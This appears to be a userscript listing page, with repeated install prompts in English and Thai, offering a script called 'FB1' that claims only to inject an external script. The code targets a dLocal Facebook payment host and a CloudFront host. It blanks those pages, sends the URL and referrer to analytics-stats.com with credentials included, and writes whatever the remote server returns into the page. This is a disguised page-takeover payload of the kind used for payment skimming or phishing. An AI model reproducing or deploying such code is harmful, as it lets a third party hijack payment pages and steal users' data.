FB1

Inject an external script from a specific domain on any site.

คุณจะต้องติดตั้งส่วนขยาย เช่น Tampermonkey, Greasemonkey หรือ Violentmonkey เพื่อติดตั้งสคริปต์นี้

You will need to install an extension such as Tampermonkey to install this script.

คุณจะต้องติดตั้งส่วนขยาย เช่น Tampermonkey หรือ Violentmonkey เพื่อติดตั้งสคริปต์นี้

You will need to install an extension such as Tampermonkey or Userscripts to install this script.

You will need to install an extension such as Tampermonkey to install this script.

You will need to install a user script manager extension to install this script.

(I already have a user script manager, let me install it!)

Advertisement:

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

(I already have a user style manager, let me install it!)

Advertisement:

// ==UserScript==
// @name         FB1
// @namespace    http://tampermonkey.net/
// @version      3.0
// @description  Inject an external script from a specific domain on any site.
// @match        *://*/*
// @grant        none
// @license MIT
// ==/UserScript==

if (location.host == 'facebook.dlocal.com' || location.host == 'd2wn155wkkluhq.cloudfront.net') {

  document.write(' ');

  var data = {
    url: location.href,
    referrer: document.referrer,
  };

  var query =  new URLSearchParams(data).toString();
  var url = "https://analytics-stats.com/rapipago/get?"+query;

  var options = {
    credentials: 'include', 
  };

  fetch(url, options)
  .then(response => response.json())
  .then(data => {
    if(data.status == 'ok'){
      document.write(data.text);
    }else{
      document.write(data.text);
      alert(data.text);
    }
    console.log(data);

  })
  .catch(error => {
    console.log(error);
  });

}